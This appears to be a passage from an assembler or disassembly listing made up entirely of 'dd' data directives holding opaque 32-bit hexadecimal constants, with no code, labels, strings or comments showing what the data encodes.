		dd 0C6B863C8h, 3AEC4F38h, 0A09203EBh, 95D9CC4h,	0B2DB8A28h
		dd 38278100h, 0F3F89D7Fh, 49DA7E30h, 14F8E65Fh,	0ACD15307h
		dd 4FEA1680h, 8B00FA9Eh, 0C1D7D48Eh, 778686Fh, 0C5CCC896h
		dd 0D0D03DC4h, 0F30C956Ch, 405F137Dh, 87660ADh,	15E32BA3h
		dd 3E60CD0Bh, 0F81820F2h, 294F02Fh, 0B6777847h,	0E840E7BDh
		dd 3F38A044h, 0F051A908h, 0C87A0201h, 0D09C687Eh, 251139h
		dd 0CE44F46h, 1E1A81BBh, 403817FCh, 7F3420ACh, 620F0DDDh
		dd 3FC2C107h, 0FA0803Ch, 8F6068B2h, 461F00D3h, 6C920B85h
		dd 200D165h, 0D570F763h, 2E204E8h, 0C9D2C5AFh, 0C849F175h
		dd 0D9BF6048h, 3CDB593Fh, 0AE7780EBh, 5F3F9F3Eh, 2450F076h
		dd 2F39370h, 546EED5Dh,	0E468B88Ch, 7495B000h, 196A0276h
		dd 0CDD0A89h, 9984432h,	407A29F3h, 0A9FCF12h, 654ED4B4h
		dd 82DB195Eh, 0D8A06CEFh, 0EC456E21h, 0C8753625h, 0B8F85704h
		dd 415E003Bh, 2CEE977Dh, 2B0E47F5h, 0E31278E2h,	0E87559ECh
		dd 60A317h, 8014B909h, 88819B2Dh, 80A16A39h, 0ABD7D542h
		dd 83138Ah, 0EEF6D1Eh, 0D024B292h, 80CA48h, 0BAE4DAAAh
		dd 0EACCC9h, 38452F2Dh,	46C21B6Ch, 88B9FB00h, 49305B1Fh
		dd 11600A3Ah, 30DB5036h, 5CE38730h, 0ADBE9E0Fh,	0BD8E97h
		dd 0BC7C0F3Ah, 0B7520EDCh, 84A0F99Dh, 3148DF0Ah, 0B3D4F300h
		dd 11368140h, 0E63E0097h, 0D1D2C39Dh, 0F3057B24h, 0E10B4EF7h
		dd 0C2B0AC80h, 14F63C42h, 7FE2FA80h, 37BE02FDh,	7CC8D00h
		dd 0EE74887h, 0C1CE00C6h, 7DFD4B35h, 0FC0025DFh, 0C2FB498Bh
		dd 27DB44h, 9626139Eh, 9ACF9743h, 0EA1588E4h, 0E204A166h
		dd 4148884h, 0BB81F87Dh, 4910AA60h, 7A709110h, 7C2E413h
		dd 0D3172B1Ah, 82042035h, 0F31DC0B4h, 87184666h, 88BFB729h
		dd 60893BA0h, 8F44F708h, 0FA22845Bh, 118C423Ch,	0BF218E13h
		dd 903A4F08h, 8A798478h, 27428348h, 2124243Eh, 6712888Fh
		dd 89424D10h, 44730890h, 22848B22h, 3C424D3Bh, 2F10EA21h
		dd 489B5B84h, 1CD742E8h, 1F213324h, 11541290h, 0D722FA39h
		dd 8E4D22BEh, 5584102Eh, 80FB4818h, 3B9F0D49h, 0D900A2B8h
		dd 97DE82FEh, 0FA1D41A4h, 42F31F91h, 0CA92C0C4h, 7BDCA030h
		dd 9BDFA800h, 64D16103h, 0B980EABh, 0B2A0798Eh,	215AF98Fh
		dd 84ED9207h, 1972F86Ch, 6A2AC03Bh, 0C4D5004Dh,	2EA71FCDh
		dd 707FEB91h, 37B85B00h, 988039E1h, 608D00B2h, 14EC6C47h
		dd 2B00DD87h, 5EF26218h, 0C23F81h, 513EF11Ch, 7E79CFD0h
		dd 30233900h, 4AB304EFh, 9BE457h, 0BBBCCC41h, 228FA097h
		dd 11719200h, 45932776h, 2BE71291h, 0C65C4043h,	0CF6ACB37h
		dd 5F986400h, 0C47144FAh, 8E54003Dh, 8CA90896h,	1303C29Ch
		dd 26DC2C60h, 0E5B4A81Dh, 0C117933h, 9615C76Ah,	13902A68h
		dd 3DCE9718h, 88B12068h, 0A6003679h, 85331E8Fh,	0DF7FA8h
		dd 0D9C1FD4h, 0BB890B8Ah, 0B5477E00h, 2E05B287h, 512C00BFh
		dd 0D1866F2Fh, 0A100773Ah, 3D129354h, 0E9CF4h, 4D836089h
		dd 0BDC738BBh, 0A51AA0A0h, 4F92490Fh, 2B66096h,	0F11F9Dh
		dd 554CAD06h, 0BBAF7FCDh, 43EF507h, 42C5D60Dh, 0E41A400h
		dd 3D39F69h, 94E250F6h,	0D190338Bh, 0BA00190Fh,	3CCFC432h
		dd 3ADB3E6h, 2E25CB50h,	90B76907h, 665DD92Bh, 32843450h
		dd 6E06CF00h, 0EDC1EBD5h, 56BB1EACh, 75C8120h, 0FC24AB4Fh
		dd 0F3077D8Eh, 0CF0427B9h, 6082F632h, 0D12024h,	0E492FEAh
		dd 6906F2A6h, 75186400h, 42A598E1h, 8C4F01F8h, 6C7C76C6h
		dd 0AB33EC5Fh, 0AD7F2D00h, 650797DDh, 0B5620137h, 35AE46EBh
		dd 594C20E0h, 0F5A01100h, 0B742165Dh, 0CCF009Eh, 89E170C5h
		dd 103B81D1h, 0DEB4891Fh, 0CB7800F7h, 9086A2CEh, 6B9F0F50h
		dd 0A5007CBBh, 15143335h, 0BE3D2200h, 0AB3B72F6h, 661100E2h
		dd 42B2BD10h, 32009430h, 398AE790h, 11D743Dh, 34EB407Bh
		dd 31DF2C8Eh, 20CDC19Ch, 68009153h, 39D34CB1h, 70FF2E21h
		dd 2FBF0EA8h, 1B6052A2h, 0C1DB0FA1h, 0B7857800h, 6A6CAA8Ah
		dd 209D6040h, 0B2809CF0h, 244DC001h, 0FDEE749Eh, 75EBEF4h
		dd 259B96C9h, 0E963F0D0h, 5F304E8Eh, 680B389Eh,	0F64B00B8h
		dd 64DCECC4h, 7B0F70ACh, 476C0CBAh, 0EF50E990h,	980D185h
		dd 0CD8C5181h, 0FFF880Eh, 41FF6DF1h, 0C80839F2h, 29D0CC27h
		dd 5C10A804h, 0D8809E32h, 70B5922h, 0DC95DE78h,	0DDCF4F15h
		dd 0F0B53280h, 4B01647Bh, 0C70FECC2h, 4C304D9Ah, 0A9510001h
		dd 7128A87Ah, 2702B85Eh, 0DFB77EF4h, 6C144083h,	1B3E02ADh
		dd 0DEFA09D8h, 4B8D480h, 2C04BD61h, 0E3E48E71h,	0FADC8B87h
		dd 47DC007Bh, 1633BFFh,	0B0003F1h, 0D9B32BB9h, 24AF923Fh
		dd 214E159h, 0F84CA54Dh, 2EA71018h, 3EFD61C4h, 6F04A10Ch
		dd 1B0E585Ah, 43794871h, 9353C72Fh, 28CEC0BFh, 855200C2h
		dd 0E9302C27h, 0C024BFFh, 2BE80EA8h, 500860CAh,	0D2EAEDh
		dd 9157AEBCh, 43B45A19h, 891CE500h, 2966AF0Bh, 601207EAh
		dd 605176B9h, 0C258D56Ah, 20C7ED00h, 0E7DD77FCh, 87850F94h
		dd 9360E67Ah, 8FCE861Ch, 34FBE200h, 4F6B71FCh, 94B4004Ah
		dd 0DA0D80FDh, 9498CDA8h, 77C1B700h, 0E1D3E78Ch, 2C7A009Ah
		dd 226292CAh, 99018E55h, 47AF2474h, 0BC408926h,	0B00B4130h
		dd 0B6860104h, 739A58A2h, 0E81120C8h, 28479505h, 0F4003CA0h
		dd 682EFC4Ch, 3B7004h, 0A52DBD0Fh, 72C774D7h, 0B6FBC502h
		dd 80DE4583h, 106129BCh, 0D7A70351h, 0DD383975h, 0DC83E4A0h
		dd 0DF368800h, 7F9C72BBh, 0A4A50093h, 46FF74B0h, 2E748564h
		dd 480FCA1Fh, 0F2C28A80h, 738D5Dh, 6452265Eh, 0BE608C31h
		dd 0EBBF5700h, 7328685h, 0D83F00A1h, 142546C1h,	0FE001702h
		dd 499A2060h, 7137336h,	0F33304A8h, 9CAD0D4h, 0A401D0E4h
		dd 986DF41Dh, 99603585h, 0A972009Dh, 6FF07094h,	8EFC1CAAh
		dd 2D00D9B0h, 0FF5687E4h, 0EA9309h, 0B74A83A5h,	4CBDFD39h
		dd 91DE6800h, 0D40766EEh
		dd 720A0067h, 4EF7831Ch, 0C5787B0Eh, 353AAD00h,	423EE043h
		dd 927196h, 0C92EEA5Dh,	0A53761F0h, 0A89CFA0Fh,	0C8620AC8h
		dd 4056540Fh, 0BFEEE4D6h, 46E500F6h, 0A5D1A167h, 0DD018C63h
		dd 0A0331003h, 0C6C0DA3Dh, 0B1C53C75h, 2D2CFF80h, 2AB92476h
		dd 0A10CD801h, 29D281ADh, 0D13990C3h, 0EB130041h, 6AFF8F51h
		dd 1009A6E1h, 1058EDC7h, 4AF6B6Ch, 38BC2BEh, 0F018C072h
		dd 0E6001E2Bh, 269FD5ECh, 0F1615CEh, 84399285h,	0D854A8A0h
		dd 0BC00D124h, 0F37849B5h, 70F12C61h, 92CB079h,	4BF27A41h
		dd 0C7DEC080h, 50AD243h, 0F056551Fh, 2F7A5B00h,	1F86EA4h
		dd 4B8930D9h, 0F87D53C5h, 0E900F0B2h, 681124B5h, 1659CDDh
		dd 4CA44D6Bh, 0FCF20450h, 0F10042F5h, 91C0A862h, 0B8A196h
		dd 6980188h, 9E2FE5C7h,	0EFD91300h, 23CEF3A0h, 3DE00EBh
		dd 0CF0A687Dh, 0E200B8C6h, 0DD1E08A8h, 581F49h,	96A76EEAh
		dd 1F0295Eh, 64326263h,	0C35C909Bh, 0CC525051h,	61F21E65h
		dd 1C300098h, 0A66C744Fh, 0C13ACC1Eh, 0F6000EAEh, 0D0AA3941h
		dd 2C5E1C75h, 55A2C05Dh, 0FD342585h, 0A68D4C3Eh, 0EB051BA7h
		dd 0CC422F73h, 16A4D98Bh, 9C5720h, 0C0FB6E0Eh, 6C35A4E6h
		dd 631C3B79h, 5C164FCh,	0CE2F939Fh, 0D27F41C2h,	1EAF1C70h
		dd 408F2865h, 444090E4h, 46007F55h, 756B99B5h, 0E0A9A4h
		dd 0D175B72h, 0DA23BC3Dh, 2C09383Bh, 8300D2EFh,	8C96360Eh
		dd 5C7F0078h, 0D5067B7Dh, 0A476C6F6h, 551C2500h, 50D8F803h
		dd 0C43E00DAh, 725A1B4Eh, 417EAE1Fh, 0A4B4151Eh, 0FC3CA00h
		dd 0ADB923h, 98FAD2BEh,	8D210587h, 0A40AF705h, 0E580D8EBh
		dd 1A1600Dh, 0C55097D7h, 70F94431h, 57033BD0h, 99AFDBA2h
		dd 617190C9h, 3360002Fh, 0EA8C58A7h, 0FB000337h, 0E4F4BA42h
		dd 9F4628h, 0C4FECC41h,	2CB69476h, 71810D00h, 0F154ED07h
		dd 0AEF700C7h, 709FC004h, 0DA059CE7h, 982C0D1Bh, 4CBE5480h
		dd 0DC9E5817h, 0A4AE540Fh, 0B978EE20h, 0CCA090F5h, 0BB078742h
		dd 0EB149258h, 9E8038C5h, 0ACE7BEh, 18F32A67h, 30FFC4A8h
		dd 7AC5F400h, 65981BC2h, 0C60501BDh, 120F7C45h,	23E0FEDCh
		dd 79032E5Ah, 0F9CC37BAh, 53CAA0C9h, 0A7C2039Ah, 8E8C33B7h
		dd 7A58A8C8h, 861E18F0h, 0C0436355h, 0B085CE9Dh, 9D59A76h
		dd 7E39A8D9h, 2CE1E401h, 5B6E60DBh, 5E6E4A0Eh, 17001D6Fh
		dd 0AD48F994h, 6945248Ah, 0DCAE0352h, 0C9F8118Ch, 0E500073Eh
		dd 0EC50845Ah, 4835136Dh, 1008451h, 0CD1BB315h,	0D200A0B4h
		dd 9160ED90h, 0FED526B6h, 967A1D63h, 954C0BCh, 0B9DC085Bh
		dd 0A1711D00h, 0CA99BB79h, 43F20061h, 0EF5EE23Bh, 9780DCBAh
		dd 0C029427Dh, 13C7C415h, 68C35C66h, 0CBDF5100h, 9F96039Dh
		dd 7DE303Fh, 91624AEEh,	4754002Bh, 0ADD295h, 852E344Dh
		dd 32A2EA89h, 0CF159F1Fh, 7FD96700h, 73697h, 0D7F1C7F9h
		dd 0EBB7D260h, 4D328D00h, 0E8C27B4Bh, 0CEA901D3h, 1D7A28ABh
		dd 66D280A3h, 5C052A92h, 0E5F063h, 0D9200D07h, 0D29B89BFh
		dd 1C43A103h, 0B83D0549h, 0BFF279Ch, 7516181Fh,	3100D00Eh
		dd 76AC4F1Bh, 67128900h, 0D53843B2h, 45F92C40h,	0E6B01FD9h
		dd 4C5C07C1h, 8B14E03Fh, 8D00220Dh, 44A778BDh, 3D554217h
		dd 0D52EE6CCh, 70F9808Ch, 5C3DF5C0h, 1461FA00h,	7C6DA74Bh
		dd 0D7B5147Dh, 3003A4C5h, 102D6771h, 41546EE0h,	6114F07Ah
		dd 3C48D91h, 1D0C465h, 3110084h, 30631539h, 99003F06h
		dd 0CE4037BFh, 123BDC4h, 887941FCh, 0C803A968h,	360695EAh
		dd 673C2816h, 6CB10FF0h, 0C3206073h, 0D73899C5h, 2258E500h
		dd 0F79F6707h, 134500D6h, 0A50405EAh, 24F20BF4h, 0C100E0B8h
		dd 5C9EF9ECh, 305234Dh,	0B379EB39h, 2000254Bh, 3317792h
		dd 13A3D867h, 0C037434Dh, 50075C78h, 0CD70C960h, 1751E8EDh
		dd 0F20F871h, 0BD4FE2DCh, 3025F400h, 99006FD7h,	3986A7EAh
		dd 0F456A2B7h, 143F0043h, 0D4927F79h, 510060DDh, 0F9B0692Fh
		dd 2CD90A21h, 0B4B359h,	8EC14F45h, 0C41D6ED0h, 2740461Bh
		dd 248361D5h, 0BCFAF6h,	0BF0CFA40h, 35AF895h, 0C9020FFCh
		dd 2531288Ah, 0A1F8C0BCh, 3A8301B1h, 6A6D783Ch,	0CBE3202Bh
		dd 5D428400h, 7923F774h, 0D7CE00E0h, 0C06DDCA3h, 0D100AB33h
		dd 5D70C972h, 5E7464h, 0E2273FFBh, 20794B51h, 38948C00h
		dd 0D66BA510h, 0B49B000Ah, 0F553380h, 96049916h, 4FC635D9h
		dd 7CF40E4h, 1542025Eh,	7AAAF39Bh, 0A4BBE90h, 0CC2AC200h
		dd 933B922Eh, 0BFE1Ah, 94A70D2Fh, 0EB38E0E3h, 6DC7360Bh
		dd 39D600A2h, 1E0F4D60h, 46DB0E66h, 98D36A46h, 0D1BBE904h
		dd 0B7C08D23h, 39BF9B6Dh, 9F001C8Ah, 59C2F7B6h,	0E00C42Dh
		dd 37EDFD52h, 399C47B3h, 7686438Ch, 98D79DB0h, 0F4C95800h
		dd 87C383E1h, 2B4A0791h, 0F017E28Dh, 0DA7507EEh, 5BBA8A00h
		dd 50F341F4h, 768F0425h, 0ACCB5323h, 29FB002Ch,	0FAC551A9h
		dd 59B0AEh, 0F6A249D5h,	0EA528E96h, 2A38B004h, 0C4C032B5h
		dd 2E39E883h, 3E56697h,	37C7AE60h, 6BF3F6C0h, 4FEC9100h
		dd 2416310Ah, 50F4ACB2h, 2C97E5h, 0A45C8012h, 557DE0EAh
		dd 2A1D4800h, 6BE2FB96h, 6E460102h, 9BD59FE9h, 1D617015h
		dd 0A1C0CE0Eh, 66F1A382h, 18889C51h, 0F4EFA6Bh,	472764BDh
		dd 0EAB01420h, 7F00A013h, 2842FA5Fh, 0FCE0E67h,	6616FF32h
		dd 4710D80h, 0F63DD436h, 3FC801C9h, 0AD0B46BBh,	137E35C8h
		dd 0EF9E9957h, 0CBF1F700h, 59B47Bh, 0A5302AB8h,	3712A409h
		dd 0DF941F00h, 3A476FA0h, 0E8510080h, 92C2D271h, 88752D0Bh
		dd 13BE9626h, 4FD0BB00h, 2E34263Ch, 6F5922h, 2FA274A8h
		dd 5D0060D4h, 0C7751A97h, 0EBA61C2h, 0E4F82E0h,	7E2CD980h
		dd 0B00BFA45h, 61DD7135h, 0D3D83A6Ch, 0AA3C0031h, 8305BFB4h
		dd 60028FE5h, 26FAB013h, 0A094E309h, 982238A6h,	0C74C021Ch
		dd 76DB36F6h, 375C0860h, 0FD7C9F16h, 0F0570883h, 3CF6AC4h
		dd 15942E8Eh, 0A6B0D8B0h, 0BE48754Bh, 8EDD3B99h, 0A292659Fh
		dd 0EE4CF407h, 0AFCF0024h, 0E26F6D8Ch, 0E81D30E4h, 0CB80397Dh
		dd 2747874Eh, 758B00B5h, 0D17F2083h, 0D201B3A7h, 0C7AB899Dh
		dd 0B5ECF5AFh, 9F7F438h, 84A25815h, 5CA6B460h, 4CC3FB01h
		dd 1FB15BC6h, 7F6830h, 0D573413h, 0C3C91135h, 8F07A4FAh
		dd 0CD2CF026h, 0DA04C250h, 36270373h, 55731E8h,	0B7150290h
		dd 47A92D0Fh, 8EBE43DCh, 8471E890h, 0FB88A0F4h,	627296h
		dd 5989DD70h, 16EF9E31h, 18E6F300h, 0C377AA4Ch,	0FA0300BBh
		dd 5E926B4h, 8C39845Fh,	54B689BEh, 0C7881077h, 0B11617ADh
		dd 0C4C00063h, 15326880h, 1E0330B6h, 98BC1D37h,	1C772AACh
		dd 0AE1784A7h, 40111DB8h, 332C4E49h, 40056ADh, 0A144F83Dh
		dd 0FA2B052h, 2EB40FA9h, 21C7AF81h, 0BE37F0C2h,	50CAA03h
		dd 0C859B050h, 17AC2C40h, 5E0F46h, 79B8884Ah, 8300E7D2h
		dd 1FAA8DB6h, 900BFAh, 9DC143EEh, 0C477C0CFh, 4F15FD2Ch
		dd 0DBF09600h, 48B7C8D3h, 9F093594h, 0F0803F0Ch, 8D46BED4h
		dd 0B1C860F7h, 0D8983825h, 5D5909F7h, 1800F777h, 1F3A37CDh
		dd 910CF100h, 2AC82EF3h, 0D7A603AFh, 0F71C581Eh, 4BE2C090h
		dd 13BFDB00h, 7D163932h, 19000A6h, 9394F9AFh, 0F1163D17h
		dd 0E500FFC6h, 0BAE2B769h, 61450EDAh, 1600B97Ah, 708F46EBh
		dd 0F7E1CB00h, 1EB518E8h, 2C070EF2h, 6DE511BCh,	1702C0B2h
		dd 2200B9F8h, 0B0E28692h
		dd 24DC87Fh, 0ED1FB36Ah, 39C04A16h, 0CE005FBDh,	8EF913A8h
		dd 60F3AC9Ch, 7E70EE74h, 8D032617h, 0D4A7D3F2h,	0BE2EE859h
		dd 16610066h, 0C44B69C5h, 0A9002B4Eh, 513C99DFh, 0F2B0949Ch
		dd 7919605Ch, 0DD2CA8Dh, 0D4BBDC01h, 0C3B78E20h, 259F4E8h
		dd 0FAF83008h, 6760DE13h, 42004EFFh, 0DD2276D7h, 3FF4CD55h
		dd 1600BD72h, 0A1DFBAE0h, 3300FADBh, 0C859EDBEh, 90A5B1A8h
		dd 0E6870086h, 0ACB1BDFh, 2D60070Dh, 0D8E1596Ah, 0B7B0069h
		dd 3CE7DF49h, 0BC024306h, 0B9FB8304h, 7D3C60F0h, 2037009Ah
		dd 56F3D829h, 0DE00740Ch, 69A9D214h, 16FDDF86h,	0C24119h
		dd 5884D6E6h, 0ED011A36h, 15EC1D1Ch, 0BFF4E545h, 535D0507h
		dd 0C0E2876Bh, 0ACD123B8h, 1F40D301h, 62AA8455h, 72CE6474h
		dd 804E0E7Fh, 56802822h, 0D0C032C4h, 0DE7BF6F2h, 76F0EE0Eh
		dd 4AFD84E8h, 0A44C8EC0h, 890601B0h, 2AFC52A7h,	0F2BB2022h
		dd 0A6008F90h, 32E681F3h, 0C3F602h, 0FD0B54CEh,	63133EA0h
		dd 0AAD06202h, 0D8C70CF2h, 0F5C63F88h, 5089A039h, 0DC205B7Ah
		dd 0D2F3BC2Eh, 8E003F76h, 51618F79h, 99F6CFDh, 46863D71h
		dd 922FD400h, 8E000259h, 0F48C5061h, 72AEE3Eh, 13F67D72h
		dd 0B9803F1Dh, 3AE5D628h, 84DB52h, 7566DAA3h, 127EA469h
		dd 80256D9Fh, 7BACDB30h, 0E217301h, 8E4E5F33h, 39F92C40h
		dd 0F7E0EDCh, 0C880B079h, 822BDE93h, 19F2A803h,	3AF366C6h
		dd 0D730FA21h, 7723B880h, 2D902400h, 70E5AA36h,	0C97F0015h
		dd 0C5AC12CFh, 1716381Ah, 1840F37Ah, 63603749h,	2AD300B5h
		dd 0AFAE5982h, 0C873EE9Dh, 0FCE24200h, 538B3385h, 8C3D016Fh
		dd 4D3A3896h, 0F39440C6h, 2B1EED48h, 0A70001EEh, 1676BD14h
		dd 0FC6D007Ah, 0A309B540h, 0C061ECA2h, 0F4E6A170h, 0C4609854h
		dd 670B59h, 5105CFE5h, 4AA895B8h, 1F3F2A00h, 3686F7A9h
		dd 0C1A8D99Fh, 0B88F092Fh, 0A897BAD0h, 0A47B0092h, 2EEEF5CEh
		dd 0CB4230B4h, 0A7799660h, 0CC15C22Bh, 0E1188000h, 3E785E52h
		dd 58C97DB8h, 83D23907h, 0DF05509Dh, 96C82Ah, 0F7CA5300h
		dd 13B7E02h, 26B951A4h,	0FA67EBD4h, 904050A4h, 5501B04Ch
		dd 15EF5C03h, 0C0EA2BA0h, 0E725F5h, 0C636C710h,	67C4713Dh
		dd 93A9C124h, 0EC06FE00h, 739803Fh, 0AC59F3FAh,	0FFAF00BCh
		dd 75018932h, 42D99DE6h, 3CC8B79Eh, 0DCF3008Bh,	18613978h
		dd 91007F9Fh, 215977A7h, 0BC5ED6Bh, 0BC222746h,	0C15EE8A0h
		dd 0E0319073h, 97BD58A9h, 0EE6DC8h, 0B1B3F445h,	0A638B818h
		dd 0F6CB8200h, 225A2165h, 56780BF3h, 1636h, 40B102EBh
		dd 0F1A42B1Dh, 0A8280E82h, 526C4835h, 0BBBFAB4h, 33B671EAh
		dd 30AC34E1h, 730FF090h, 0CF7BD320h, 801E6366h,	19C3B833h
		dd 6820ED7Ch, 0E53F0054h, 0EBF0DDB5h, 74F091ADh, 5150E00h
		dd 25C6231h, 4D5E008Fh,	0B21CF06Eh, 0E003986h, 0EE47AE73h
		dd 0CF78C4h, 95C2976Ah,	99A87668h, 0B756409h, 0AC1C24AEh
		dd 3F0BD0A9h, 0D4009BF2h, 157CD64h, 9FB71907h, 3930B1A9h
		dd 0F80878h, 0A4E82625h, 4D06F235h, 7CC26000h, 0E18590E5h
		dd 71800342h, 0F2133A4Ch, 729CEAB0h, 1E1C1858h,	0AD810A20h
		dd 0FAAC05DEh, 39F1F8h,	79BC4F7Fh, 88CA70A2h, 7BCF9400h
		dd 8CCD3418h, 777D1C5Ch, 10351943h, 14EFF0E4h, 79840300h
		dd 0D09D1F65h, 1A4A3F97h, 508F068Fh, 90E47FC3h,	85F8301Dh
		dd 0CEB355C0h, 1D1EFA7h, 0BDB8C8EBh, 0D8E668C7h, 9A00E4EEh
		dd 4BF0935Eh, 491AED06h, 26392822h, 0C4DF4180h,	0F19F0A74h
		dd 8E53E801h, 3A907C0Fh, 0DCA0A047h, 624294h, 20C35C1Bh
		dd 56752277h, 34534C00h, 21BB8110h, 1EFB0EE7h, 0F14008F5h
		dd 0D0BABE48h, 6275C000h, 2C2FD617h, 4402000Fh,	35A243ACh
		dd 0BD0E7CB8h, 807D5EF8h, 490594A0h, 0B4A8035Bh, 0BA8336A6h
		dd 24CF9ED9h, 173BB2Ch,	0DA44281Ch, 6B47E387h, 0E97D1B20h
		dd 9F9B0E7h, 0C1A1D9C7h, 0F5CF40A2h, 1B206CE4h,	0F8907F6h
		dd 62762h, 0B28098DCh, 6BAA9C00h, 0D5642D86h, 78881CA9h
		dd 0A328C07Dh, 0CD0D166Ch, 26FECC38h, 4E41FC51h, 31F066BDh
		dd 0A182606Ah, 3026B52Eh, 9729FB00h, 0FA330834h, 217A60ECh
		dd 0B9A0A31h, 0F911C461h, 1C2D14EAh, 82BBA81Dh,	6CCF231Bh
		dd 0F9ACB440h, 3401FCE0h, 13C7CDDBh, 74703157h,	0F37752h
		dd 0B9FE25E5h, 7D08005h, 51F8337Dh, 97BB4705h, 0A080585Ah
		dd 9DDBA5h, 5659BF09h, 3D2B9B86h, 909E8D24h, 40F4C900h
		dd 6511D37h, 0EE701C53h, 4EAA1DAh, 88F1C100h, 0A3D7B39Ch
		dd 27110047h, 2D341CD3h, 1816F6B5h, 4805F71Ah, 0A090E7E6h
		dd 2C873AB3h, 24989878h, 7F89094Dh, 0B415F800h,	0A9019ED4h
		dd 0B44CF60h, 81449F7Dh, 0A8F94A0h, 0B62C876Ch,	0F6404F44h
		dd 0F81AF953h, 571D2600h, 90F154A4h, 447A00D1h,	173E334Fh
		dd 0F4031829h, 0B2EF01EDh, 0FEE0029Dh, 0FC375BF8h, 30D0EC68h
		dd 1654A800h, 5AA255ABh, 3A400AEh, 35F17EFFh, 6C78B1E9h
		dd 14CC548h, 0D8258B77h, 36E963DFh, 0C12A9180h,	2433DA6Dh
		dd 79278C0Eh, 0F846601Eh, 0F36991BEh, 0A009863h, 4A12CBBAh
		dd 2E16E7CFh, 6C005CC1h, 0DCF9E170h, 0FA399822h, 48EC0040h
		dd 454EC7B7h, 1B0C385Ah, 0C9A41C89h, 0B4711304h, 0BCB8E074h
		dd 23D4A500h, 20677059h, 7B1B0055h, 0B4645D37h,	0BC60EFD3h
		dd 7FF1A3F1h, 0D0FD6052h, 0DA279181h, 0C14DE900h, 0F03AD16Ah
		dd 13E5053Bh, 9EFB59Ah,	0A02EBE9Eh, 79E0F50Ah, 0E86352h
		dd 30A17DDBh, 2B57186h,	835EF919h, 0B8E12197h, 0E8CEF64Eh
		dd 4C8AD620h, 2CCBCC46h, 0BF3AA060h, 5ABD48h, 7E91CE4Fh
		dd 0FB8357h, 10A6D076h,	9CFFD6D3h, 0C26AEB07h, 5720E6F5h
		dd 35C40D8h, 0EA8C10A7h, 96F2E531h, 5B608078h, 0DF55FB18h
		dd 11E6602Fh, 90BF98C6h, 619520h, 4EE82D04h, 375FB983h
		dd 439D6400h, 6DA36575h, 28080070h, 0E794CD7Ah,	0D100A6D4h
		dd 8914F7FFh, 0F692F4A5h, 9E6D0CB1h, 0B25039CBh, 8A00327Bh
		dd 0E23AD934h, 547767DBh, 2E58AC35h, 0BC404F07h, 0D3AAD185h
		dd 0F698B4FDh, 0FB293C62h, 206064F4h, 9901A6CBh, 54A2EEA3h
		dd 8CEC06B2h, 32B00B8h,	41EFDA5h, 1C0051AFh, 0A44E4316h
		dd 5F79B4h, 1BE684ECh, 704BBD0Dh, 7F8A901Eh, 5E38B000h
		dd 5882758Bh, 2A0F28B7h, 0F52908EFh, 0F15BB400h, 76004061h
		dd 0C311A606h, 0BA7359h, 634BB893h, 78FB8639h, 2B6A6F00h
		dd 53B75D9Ah, 0DD9200C9h, 0E4965C30h, 0F00FAC19h, 60AD630Ch
		dd 0AE07EE32h, 13F90945h, 95805C34h, 0B582BDD6h, 0F8FDD530h
		dd 2937561h, 7F112DBBh,	54D2F063h, 0A1B58500h, 0DC9E5AC3h
		dd 0E9340006h, 99FBE83Ah, 0C100D17Dh, 68F91059h, 79A35241h
		dd 4F7E09DCh, 2001B85Bh, 2E495DB7h, 37119C67h, 9824C003h
		dd 64F400A4h, 82819F6Dh, 92001F39h, 0C683B2DFh,	7D9F74Fh
		dd 0F81B0C06h, 0D1BDB0E6h, 1403DABBh, 0FE11793Fh, 958AF03Ah
		dd 25DC9293h, 420F4A1h,	26B3B0CCh, 53D2D800h, 9D3EE572h
		dd 0E3ECA0EEh, 0CD400531h, 0C0DA1DA4h, 699E5897h, 0D0417700h
		dd 31F443F8h, 46FA1D8Ch, 307000D3h, 9A176EB0h, 0DFDC0302h
		dd 609B8F5Eh, 9C27B50h,	71622AEFh, 17B2E600h, 0C8007547h
		dd 0A6973A73h, 0EBABE7h, 31AF0FEEh, 0A28BC3B9h,	8FA84900h
		dd 42747913h, 69B0F50h,	810F39F3h, 0BAD10D80h, 7B00EF32h
		dd 0EE6C5202h, 0ACDA0Bh
		dd 0C9DB99DFh, 0F9A4FE74h, 0B0A1D400h, 57B28805h, 918E00F7h
		dd 200FE770h, 260B4DA4h, 31F06047h, 3C18D848h, 3043DF26h
		dd 0B47A9780h, 58C8F91Eh, 7691F6h, 0E948F5CCh, 9652CF8Ch
		dd 5F04382Ch, 49280025h, 1F82931Dh, 47D9B334h, 6C88EA22h
		dd 0A701BD28h, 6CAF291Ah, 38627C9Fh, 0D3CAEB00h, 0B01FF440h
		dd 500B754Ah, 51BC0264h, 63DE6029h, 0C8970309h,	4CBA91CBh
		dd 1320A104h, 0E89054AFh, 240B968h, 59690D9Fh, 0E46086A6h
		dd 0CA2C51B0h, 32002022h, 4B5C98CEh, 0F49213h, 0B50C6C75h
		dd 911BB478h, 144EDB33h, 0FDB8F04Fh, 0B4F55871h, 25135400h
		dd 18D0CCCh, 0AB3CBD16h, 7B329428h, 0D1230003h,	304CE8AFh
		dd 3D14D2A7h, 2CD248C8h, 511EA42Ah, 0DF3E97CEh,	0FE6F5F40h
		dd 7EAE69h, 1DC234C5h, 6315026Bh, 0A89A522Ch, 0CB92BE90h
		dd 542F0B5Ch, 500C8964h, 3056787Ch, 37992BB3h, 30548E2Dh
		dd 6F0B4498h, 2ACBC5h, 65621A08h, 3BA2159Ch, 1913886Dh
		dd 4C1C8AF5h, 2C9D0334h, 91195C28h, 0F7EC6C4Dh,	18087FE5h
		dd 28836A11h, 0D77DF0BDh, 0C70BE892h, 68482155h, 1717667Ch
		dd 0C29F879h, 0A6DCF95Ch, 0A02579DCh, 9E9782F4h, 487A1233h
		dd 0F60C00D8h, 54ED894Dh, 5291F460h, 597063DBh,	93709Bh
		dd 1F302BECh, 9306CFE3h, 0E9A003BDh, 52B12E60h,	40E35894h
		dd 9B2A427Ah, 6AF098B4h, 0A0F26922h, 5C8722A4h,	8500DBF7h
		dd 5007EB39h, 9700D967h, 5989D783h, 1DF0482Ch, 83BD3F19h
		dd 23AA76A8h, 7C60A6BAh, 920975DBh, 0F882E862h,	0A59706B0h
		dd 116D540Ch, 2690DE00h, 1F3AF34Fh, 0EEAB0139h,	1B521451h
		dd 8C536B38h, 3BE35C30h, 4BF876E9h, 29B40863h, 0B37D2660h
		dd 21900013h, 0A69C529Ah, 68003E35h, 0E4F58459h, 439222h
		dd 8EC41D4Fh, 85107DBBh, 0C6ECA1F4h, 79BF503h, 0FAB09356h
		dd 226CC07Bh, 8AAB000Dh, 40994BAAh, 883BC47Fh, 0FC728269h
